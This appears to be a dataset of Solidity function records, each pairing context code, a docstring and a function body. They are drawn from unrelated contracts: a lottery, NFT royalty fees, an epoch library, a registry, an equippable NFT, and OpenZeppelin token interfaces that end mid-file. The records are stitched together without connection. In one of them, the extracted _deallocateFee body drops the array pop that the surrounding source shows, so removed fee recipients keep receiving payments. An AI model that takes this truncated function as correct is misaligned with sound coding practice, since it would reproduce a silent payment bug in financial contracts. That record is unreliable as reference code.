* @param addr - address whose status to check.
*/
function getWinnerStatus( address addr )
external view
returns( bool isWinner, uint32 rankingPosition,
uint prizeAmount )
{
if( !onStage( STAGE.COMPLETION ) || balanceOf( addr ) == 0 )
return (false , 0, 0);
( isWinner, rankingPosition ) =
lotStorage.getWinnerStatus( addr );
if( isWinner )
{
prizeAmount = getWinnerPrizeAmount( rankingPosition );
if( prizeAmount > address(this).balance )
prizeAmount = address(this).balance;
}
}
/**
* Compute the intermediate Active Stage player score.
* This score is Player Score, not randomized.
* @param addr - address to check.
*/
function getPlayerIntermediateScore( address addr )
external view
returns( uint )
{
return lotStorage.getPlayerActiveStageScore( addr );
}
/** PAYABLE [ OUT ] >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
*
* Claim the winner prize of msg.sender, if he is one of the winners.
*
* This function must be provided a ranking position of msg.sender,
* which must be obtained using the function above.
*
* The Lottery Storage then just checks if holder address in the
* winner array element at position rankingPosition is the same
* as msg.sender's.
*
* If so, then claim request is valid, and we can give the appropriate
* prize to that winner.
* Prize can be determined by a computed factor-based sequence, or
* from the pre-specified winner array.
*
* * This function transfers Ether out of our contract:
* - Sends the corresponding winner prize to the msg.sender.
*
* @param rankingPosition - the position of Winner Array, that
* msg.sender says he is in (obtained using getWinnerStatus).
*/
function claimWinnerPrize(
uint32 rankingPosition )
external
onlyOnStage( STAGE.COMPLETION )
mutexLOCKED
{
// Check if msg.sender hasn't already claimed his prize.
require( ! prizeClaimersAddresses[ msg.sender ] );
// msg.sender must have at least some of UniLottery Tokens.
require( balanceOf( msg.sender ) != 0 );
// Check if there are any prize funds left yet.
require( address(this).balance != 0 );
// If using Mined Selection Algo, check if msg.sender is
// really on that ranking position - algo was already executed.
if( cfg.endingAlgoType == uint8(EndingAlgoType.MinedWinnerSelection) )
{
require( lotStorage.minedSelection_isAddressOnWinnerPosition(
msg.sender, rankingPosition ) );
}
// For other algorithms, get ranking position by executing
// a specific algorithm of that algo-type.
else
{
bool isWinner;
( isWinner, rankingPosition ) =
lotStorage.getWinnerStatus( msg.sender );
require( isWinner );
}
// Compute the prize amount, using our internal function.
uint finalPrizeAmount = getWinnerPrizeAmount( rankingPosition );
// If prize is small and computation precision errors occured,
// leading it to be larger than our balance, fix it.
if( finalPrizeAmount > address(this).balance )
finalPrizeAmount = address(this).balance;
// Transfer the Winning Prize to msg.sender!
msg.sender.transfer( finalPrizeAmount );
// Mark msg.sender as already claimed his prize.
prizeClaimersAddresses[ msg.sender ] = true;
}
/** PAYABLE [ OUT ] >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
*
* Transfer the leftover Winner Prize Funds of this contract to the
* Main UniLottery Pool, if prize claim deadline has been exceeded.
*
* Function can only be called from the Main Pool, and if some
* winners haven't managed to claim their prizes on time, their
* prizes will go back to UniLottery Pool.
*
* * Function transfers Ether out of our contract:
* - Transfer the leftover funds to the Pool (msg.sender).
*/
function getUnclaimedPrizes()
external
poolOnly
onlyOnStage( STAGE.COMPLETION )
mutexLOCKED
{
// Check if prize claim deadline has passed.
require( completionDate != 0 &&
( now - completionDate ) > cfg.prizeClaimTime );
// Just transfer it all to the Pool.
poolAddress.transfer( address(this).balance );
}
}
|
Use data from Uniswap pair contract.
|
function getReserves()
external view
returns( uint _ethReserve, uint _tokenReserve )
{
( uint112 res0, uint112 res1, ) =
IUniswapPair( exchangeAddress ).getReserves();
if( uniswap_ethFirst )
return ( res0, res1 );
else
return ( res1, res0 );
}
| 7,490,250
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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
//IERC721MultiClass interface
import "./../interfaces/IERC721MultiClassFees.sol";
//abstraction of ERC721MultiClass
import "./ERC721MultiClass.sol";
/**
* @dev Abstract extension of ERC721MultiClass that attaches royalty fees
*/
abstract contract ERC721MultiClassFees is
ERC721MultiClass, IERC721MultiClassFees
{
//10000 means 100.00%
uint256 private constant TOTAL_ALLOWABLE_FEES = 10000;
//mapping of `classId` to total fees (could be problematic if not synced)
mapping(uint256 => uint256) private _fees;
//mapping of `classId` to `recipient` fee
mapping(uint256 => mapping(address => uint256)) private _fee;
//index mapping of `classId` to recipients (so we can loop the map)
mapping(uint256 => address[]) private _recipients;
/**
* @dev Returns the fee of a `recipient` in `classId`
*/
function classFeeOf(uint256 classId, address recipient)
public view override returns(uint256)
{
return _fee[classId][recipient];
}
/**
* @dev returns the total fees of `classId`
*/
function classFees(uint256 classId) public view override returns(uint256) {
return _fees[classId];
}
/**
* @dev Sets a fee that will be collected during the exchange method
*/
function _allocateFee(uint256 classId, address recipient, uint256 fee)
internal virtual
{
require(
fee > 0,
"ERC721MultiClassFees: Fee should be more than 0"
);
//if no recipient
if (_fee[classId][recipient] == 0) {
//add recipient
_recipients[classId].push(recipient);
//map fee
_fee[classId][recipient] = fee;
//add to total fee
_fees[classId] += fee;
//else there"s already an existing recipient
} else {
//remove old fee from total fee
_fees[classId] -= _fee[classId][recipient];
//map fee
_fee[classId][recipient] = fee;
//add to total fee
_fees[classId] += fee;
}
//safe check
require(
_fees[classId] <= TOTAL_ALLOWABLE_FEES,
"ERC721MultiClassFees: Exceeds allowable fees"
);
}
/**
* @dev Removes a fee
*/
function _deallocateFee(uint256 classId, address recipient) internal virtual {
//this is for the benefit of the sender so they
//dont have to pay gas on things that dont matter
require(
_fee[classId][recipient] != 0,
"ERC721MultiClassFees: Recipient has no fees"
);
//deduct total fees
_fees[classId] -= _fee[classId][recipient];
//remove fees from the map
delete _fee[classId][recipient];
//Tricky logic to remove an element from an array...
//if there are at least 2 elements in the array,
if (_recipients[classId].length > 1) {
//find the recipient
for (uint i = 0; i < _recipients[classId].length; i++) {
if(_recipients[classId][i] == recipient) {
//move the last element to the deleted element
uint last = _recipients[classId].length - 1;
_recipients[classId][i] = _recipients[classId][last];
break;
}
}
}
//either way remove the last element
_recipients[classId].pop();
}
/**
* @dev Pays the amount to the recipients
*/
function _escrowFees(uint256 tokenId, uint256 amount)
internal virtual returns(uint256)
{
//get class from token
uint256 classId = classOf(tokenId);
require(classId != 0, "ERC721MultiClassFees: Class does not exist");
//placeholder for recipient in the loop
address recipient;
//release payments to recipients
for (uint i = 0; i < _recipients[classId].length; i++) {
//get the recipient
recipient = _recipients[classId][i];
// (10 eth * 2000) / 10000 =
payable(recipient).transfer(
(amount * _fee[classId][recipient]) / TOTAL_ALLOWABLE_FEES
);
}
//determine the remaining fee percent
uint256 remainingFee = TOTAL_ALLOWABLE_FEES - _fees[classId];
//return the remainder amount
return (amount * remainingFee) / TOTAL_ALLOWABLE_FEES;
}
}
|
* @dev Removes a fee/this is for the benefit of the sender so theydont have to pay gas on things that dont matterdeduct total feesremove fees from the mapTricky logic to remove an element from an array...if there are at least 2 elements in the array,find the recipientmove the last element to the deleted element
|
function _deallocateFee(uint256 classId, address recipient) internal virtual {
require(
_fee[classId][recipient] != 0,
"ERC721MultiClassFees: Recipient has no fees"
);
_fees[classId] -= _fee[classId][recipient];
delete _fee[classId][recipient];
if (_recipients[classId].length > 1) {
for (uint i = 0; i < _recipients[classId].length; i++) {
if(_recipients[classId][i] == recipient) {
uint last = _recipients[classId].length - 1;
_recipients[classId][i] = _recipients[classId][last];
break;
}
}
}
}
| 12,952,922
|
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./full_match/3/0x9e570c99d6AdA14E8A8f2A54D6E4895d51ecD6ab/sources/browser/github/radicle-dev/radicle-contracts/contracts/Pool.sol
|
@notice The address of the ERC-20 contract which tokens the pool works with @param cycleSecs The length of cycleSecs to be used in the contract instance. Low values make funds more available by shortening the average duration of tokens being frozen between being taken from senders' balances and being collectable by the receiver. High values make collecting cheaper by making it process less cycles for a given time range. @param _erc20 The address of an ERC-20 contract which tokens the pool will work with. To guarantee safety the supply of the tokens must be lower than `2 ^ 127`.
|
constructor(uint64 cycleSecs, IERC20 _erc20) Pool(cycleSecs) {
erc20 = _erc20;
}
| 14,129,600
|
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pragma solidity 0.5.6;
// Copyright BigchainDB GmbH and Ocean Protocol contributors
// SPDX-License-Identifier: (Apache-2.0 AND CC-BY-4.0)
// Code is Apache-2.0 and docs are CC-BY-4.0
import 'openzeppelin-eth/contracts/math/SafeMath.sol';
/**
* @title Epoch Library
* @author Ocean Protocol Team
*
* @dev Implementation of Epoch Library.
* For an arbitrary Epoch, this library manages the life
* cycle of an Epoch. Usually this library is used for
* handling the time window between conditions in an agreement.
* For more information about Epoch checkout the below link
* https://github.com/oceanprotocol/OEPs/issues/119
* TODO: update to the OEP link
*/
library EpochLibrary {
using SafeMath for uint256;
struct Epoch {
uint256 timeLock;
uint256 timeOut;
uint256 blockNumber;
}
struct EpochList {
mapping(bytes32 => Epoch) epochs;
bytes32[] epochIds;
}
/**
* @notice create creates new Epoch
* @param _self is the Epoch storage pointer
* @param _timeLock value in block count (can not fulfill before)
* @param _timeOut value in block count (can not fulfill after)
*/
function create(
EpochList storage _self,
bytes32 _id,
uint256 _timeLock,
uint256 _timeOut
)
internal
{
require(
_self.epochs[_id].blockNumber == 0,
'Id already exists'
);
require(
_timeLock.add(block.number) >= block.number &&
_timeOut.add(block.number) >= block.number,
'Indicating integer overflow/underflow'
);
if (_timeOut > 0 && _timeLock > 0) {
require(
_timeLock < _timeOut,
'Invalid time margin'
);
}
_self.epochs[_id] = Epoch({
timeLock : _timeLock,
timeOut : _timeOut,
blockNumber : block.number
});
_self.epochIds.push(_id);
}
/**
* @notice isTimedOut means you cannot fulfill after
* @param _self is the Epoch storage pointer
* @return true if the current block number is gt timeOut
*/
function isTimedOut(
EpochList storage _self,
bytes32 _id
)
external
view
returns (bool)
{
if (_self.epochs[_id].timeOut == 0) {
return false;
}
return (block.number > getEpochTimeOut(_self.epochs[_id]));
}
/**
* @notice isTimeLocked means you cannot fulfill before
* @param _self is the Epoch storage pointer
* @return true if the current block number is gt timeLock
*/
function isTimeLocked(
EpochList storage _self,
bytes32 _id
)
external
view
returns (bool)
{
return (block.number < getEpochTimeLock(_self.epochs[_id]));
}
/**
* @notice getEpochTimeOut
* @param _self is the Epoch storage pointer
*/
function getEpochTimeOut(
Epoch storage _self
)
public
view
returns (uint256)
{
return _self.timeOut.add(_self.blockNumber);
}
/**
* @notice getEpochTimeLock
* @param _self is the Epoch storage pointer
*/
function getEpochTimeLock(
Epoch storage _self
)
public
view
returns (uint256)
{
return _self.timeLock.add(_self.blockNumber);
}
}
|
* @notice getEpochTimeLock @param _self is the Epoch storage pointer/
|
function getEpochTimeLock(
Epoch storage _self
)
public
view
returns (uint256)
{
return _self.timeLock.add(_self.blockNumber);
}
| 5,355,730
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/**
*Submitted for verification at Etherscan.io on 2022-05-02
*/
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
contract Authorizable {
// This contract allows a flexible authorization scheme
// The owner who can change authorization status
address public owner;
// A mapping from an address to its authorization status
mapping(address => bool) public authorized;
/// @dev We set the deployer to the owner
constructor() {
owner = msg.sender;
}
/// @dev This modifier checks if the msg.sender is the owner
modifier onlyOwner() {
require(msg.sender == owner, "Sender not owner");
_;
}
/// @dev This modifier checks if an address is authorized
modifier onlyAuthorized() {
require(isAuthorized(msg.sender), "Sender not Authorized");
_;
}
/// @dev Returns true if an address is authorized
/// @param who the address to check
/// @return true if authorized false if not
function isAuthorized(address who) public view returns (bool) {
return authorized[who];
}
/// @dev Privileged function authorize an address
/// @param who the address to authorize
function authorize(address who) external onlyOwner {
_authorize(who);
}
/// @dev Privileged function to de authorize an address
/// @param who The address to remove authorization from
function deauthorize(address who) external onlyOwner {
authorized[who] = false;
}
/// @dev Function to change owner
/// @param who The new owner address
function setOwner(address who) public onlyOwner {
owner = who;
}
/// @dev Inheritable function which authorizes someone
/// @param who the address to authorize
function _authorize(address who) internal {
authorized[who] = true;
}
}
contract WrapperRegistry is Authorizable {
address[] public wrappers;
/// @notice Constructs this contract and stores needed data
/// @param _owner The contract owner authorized to validate addresses
constructor(address _owner) {
// authorize the owner address to be able to execute the validations
_authorize(_owner);
}
/// @notice adds a vault + wrapper pair of addresses to state array
/// @param wrapper the wrapped position contract address
function registerWrapper(address wrapper) external onlyAuthorized {
wrappers.push(wrapper);
}
/// @notice shows the entire array of vault/wrapper pairs
/// @return the entire array of struct pairs
function viewRegistry() external view returns (address[] memory) {
return wrappers;
}
}
|
@notice shows the entire array of vault/wrapper pairs @return the entire array of struct pairs
|
function viewRegistry() external view returns (address[] memory) {
return wrappers;
}
| 7,982,983
|
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./full_match/80001/0xdCdf0B3d68A4E11eF2703b87020dC5a9c66babf7/sources/@superfluid-finance/ethereum-contracts/contracts/apps/SuperTokenV1Library.sol
|
* @dev Delete flow without userData @param token The token used in flow @param sender The sender of the flow @param receiver The receiver of the flow/
|
function deleteFlow(ISuperToken token, address sender, address receiver)
internal returns (bool)
{
return deleteFlow(token, sender, receiver, new bytes(0));
}
| 855,941
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] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol";
import "./ERC998TopDown.sol";
import "./ILootmart.sol";
interface IRegistry {
function isValid721Contract(address _contract) external view returns (bool);
function isValid1155Contract(address _contract) external view returns (bool);
function isValidContract(address _contract) external view returns (bool);
function isValidItemType(string memory _itemType) external view returns (bool);
}
/// @title Adventurer
/// @author Gary Thung
/// @notice Adventurer is a composable NFT designed to equip other ERC721 and ERC1155 tokens
contract Adventurer is ERC721Enumerable, ERC998TopDown, Ownable {
using ERC165Checker for address;
struct Item {
address itemAddress;
uint256 id;
}
event Equipped(uint256 indexed tokenId, address indexed itemAddress, uint256 indexed itemId, string itemType);
event Unequipped(uint256 indexed tokenId, address indexed itemAddress, uint256 indexed itemId, string itemType);
mapping(uint256 => mapping(string => Item)) public equipped;
bytes4 internal constant ERC_721_INTERFACE = 0x80ac58cd;
bytes4 internal constant ERC_1155_INTERFACE = 0xd9b67a26;
IRegistry internal registry;
constructor(address _registry) ERC998TopDown("Adventurer", "ADVT") {
registry = IRegistry(_registry);
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC721Enumerable, ERC721) returns (bool) {
return super.supportsInterface(interfaceId);
}
/**
* @dev Ensure caller affecting an adventurer is authorized.
*/
modifier onlyAuthorized(uint256 _tokenId) {
require(_isApprovedOrOwner(msg.sender, _tokenId), "Adventurer: Caller is not owner nor approved");
_;
}
// MINTING //
function mint() external {
_safeMint(_msgSender(), totalSupply());
}
function mintToAccount(address _account) external {
_safeMint(_account, totalSupply());
}
// EQUIPPING/UNEQUIPPING //
/**
* @dev Execute a series of equips followed by a series of unequips.
*
* NOTE: Clients should reduce the changes down to the simplest set.
* For example, imagine an Adventurer with a head equipped and the goal is to equip a new head item.
* Calling bulkChanges with both a new head to equip and a head unequip will result in the Adventurer
* ultimately having no head equipped. The simplest change would be to do only an equip.
*/
function bulkChanges(
uint256 _tokenId,
address[] memory _equipItemAddresses,
uint256[] memory _equipItemIds,
string[] memory _unequipItemTypes
) external onlyAuthorized(_tokenId) {
// Execute equips
for (uint256 i = 0; i < _equipItemAddresses.length; i++) {
_equip(_tokenId, _equipItemAddresses[i], _equipItemIds[i]);
}
// Execute unequips
for (uint256 i = 0; i < _unequipItemTypes.length; i++) {
_unequip(_tokenId, _unequipItemTypes[i]);
}
}
/**
* @dev Equip an item.
*/
function equip(
uint256 _tokenId,
address _itemAddress,
uint256 _itemId
) external onlyAuthorized(_tokenId) {
_equip(_tokenId, _itemAddress, _itemId);
}
/**
* @dev Equip a list of items.
*/
function equipBulk(
uint256 _tokenId,
address[] memory _itemAddresses,
uint256[] memory _itemIds
) external onlyAuthorized(_tokenId) {
for (uint256 i = 0; i < _itemAddresses.length; i++) {
_equip(_tokenId, _itemAddresses[i], _itemIds[i]);
}
}
/**
* @dev Unequip an item.
*/
function unequip(
uint256 _tokenId,
string memory _itemType
) external onlyAuthorized(_tokenId) {
_unequip(_tokenId, _itemType);
}
/**
* @dev Unequip a list of items.
*/
function unequipBulk(
uint256 _tokenId,
string[] memory _itemTypes
) external onlyAuthorized(_tokenId) {
for (uint256 i = 0; i < _itemTypes.length; i++) {
_unequip(_tokenId, _itemTypes[i]);
}
}
// LOGIC //
/**
* @dev Execute inbound transfer from a component contract to this contract.
*/
function _transferItemIn(
uint256 _tokenId,
address _operator,
address _itemAddress,
uint256 _itemId
) internal {
if (_itemAddress.supportsInterface(ERC_721_INTERFACE)) {
IERC721(_itemAddress).safeTransferFrom(_operator, address(this), _itemId, toBytes(_tokenId));
} else if (_itemAddress.supportsInterface(ERC_1155_INTERFACE)) {
IERC1155(_itemAddress).safeTransferFrom(_operator, address(this), _itemId, 1, toBytes(_tokenId));
} else {
require(false, "Adventurer: Item does not support ERC-721 nor ERC-1155 standards");
}
}
/**
* @dev Execute outbound transfer of a child token.
*/
function _transferItemOut(
uint256 _tokenId,
address _owner,
address _itemAddress,
uint256 _itemId
) internal {
if (child721Balance(_tokenId, _itemAddress, _itemId) == 1) {
safeTransferChild721From(_tokenId, _owner, _itemAddress, _itemId, "");
} else if (child1155Balance(_tokenId, _itemAddress, _itemId) >= 1) {
safeTransferChild1155From(_tokenId, _owner, _itemAddress, _itemId, 1, "");
}
}
/**
* @dev Execute the logic required to equip a single item. This involves:
*
* 1. Checking that the component contract is registered
* 2. Check that the item type is valid
* 3. Mark the new item as equipped
* 4. Transfer the new item to this contract
* 5. Transfer the old item back to the owner
*/
function _equip(
uint256 _tokenId,
address _itemAddress,
uint256 _itemId
) internal {
require(registry.isValidContract(_itemAddress), "Adventurer: Item contract must be in the registry");
string memory itemType = ILootmart(_itemAddress).itemTypeFor(_itemId);
require(registry.isValidItemType(itemType), "Adventurer: Invalid item type");
// Get current item
Item memory item = equipped[_tokenId][itemType];
address currentItemAddress = item.itemAddress;
uint256 currentItemId = item.id;
// Equip the new item
equipped[_tokenId][itemType] = Item({ itemAddress: _itemAddress, id: _itemId });
// Pull in the item
_transferItemIn(_tokenId, _msgSender(), _itemAddress, _itemId);
// Send back old item
if (currentItemAddress != address(0)) {
_transferItemOut(_tokenId, ownerOf(_tokenId), currentItemAddress, currentItemId);
}
emit Equipped(_tokenId, _itemAddress, _itemId, itemType);
}
/**
* @dev Execute the logic required to equip a single item. This involves:
*
* 1. Mark the item as unequipped
* 2. Transfer the item back to the owner
*/
function _unequip(
uint256 _tokenId,
string memory _itemType
) internal {
// Get current item
Item memory item = equipped[_tokenId][_itemType];
address currentItemAddress = item.itemAddress;
uint256 currentItemId = item.id;
// Mark item unequipped
delete equipped[_tokenId][_itemType];
// Send back old item
_transferItemOut(_tokenId, ownerOf(_tokenId), currentItemAddress, currentItemId);
emit Unequipped(_tokenId, currentItemAddress, currentItemId, _itemType);
}
// CALLBACKS //
/**
* @dev Only allow this contract to execute inbound transfers. Executes super's receiver to update underlying bookkeeping.
*/
function onERC721Received(
address operator,
address from,
uint256 id,
bytes memory data
) public override returns (bytes4) {
require(operator == address(this), "Adventurer: Only the Adventurer contract can pull items in");
return super.onERC721Received(operator, from, id, data);
}
/**
* @dev Only allow this contract to execute inbound transfers. Executes super's receiver to update underlying bookkeeping.
*/
function onERC1155Received(
address operator,
address from,
uint256 id,
uint256 amount,
bytes memory data
) public override returns (bytes4) {
require(operator == address(this), "Only the Adventurer contract can pull items in");
return super.onERC1155Received(operator, from, id, amount, data);
}
/**
* @dev Only allow this contract to execute inbound transfers. Executes super's receiver to update underlying bookkeeping.
*/
function onERC1155BatchReceived(
address operator,
address from,
uint256[] memory ids,
uint256[] memory values,
bytes memory data
) public override returns (bytes4) {
require(operator == address(this), "Only the Adventurer contract can pull items in");
return super.onERC1155BatchReceived(operator, from, ids, values, data);
}
function _beforeChild721Transfer(
address operator,
uint256 fromTokenId,
address to,
address childContract,
uint256 id,
bytes memory data
) internal override virtual {
super._beforeChild721Transfer(operator, fromTokenId, to, childContract, id, data);
}
function _beforeChild1155Transfer(
address operator,
uint256 fromTokenId,
address to,
address childContract,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) internal override virtual {
super._beforeChild1155Transfer(operator, fromTokenId, to, childContract, ids, amounts, data);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId);
}
// HELPERS //
/**
* @dev Convert uint to bytes.
*/
function toBytes(uint256 x) internal pure returns (bytes memory b) {
b = new bytes(32);
assembly { mstore(add(b, 32), x) }
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../ERC721.sol";
import "./IERC721Enumerable.sol";
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../../utils/introspection/IERC165.sol";
/**
* @dev Required interface of an ERC1155 compliant contract, as defined in the
* https://eips.ethereum.org/EIPS/eip-1155[EIP].
*
* _Available since v3.1._
*/
interface IERC1155 is IERC165 {
/**
* @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.
*/
event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);
/**
* @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all
* transfers.
*/
event TransferBatch(
address indexed operator,
address indexed from,
address indexed to,
uint256[] ids,
uint256[] values
);
/**
* @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to
* `approved`.
*/
event ApprovalForAll(address indexed account, address indexed operator, bool approved);
/**
* @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.
*
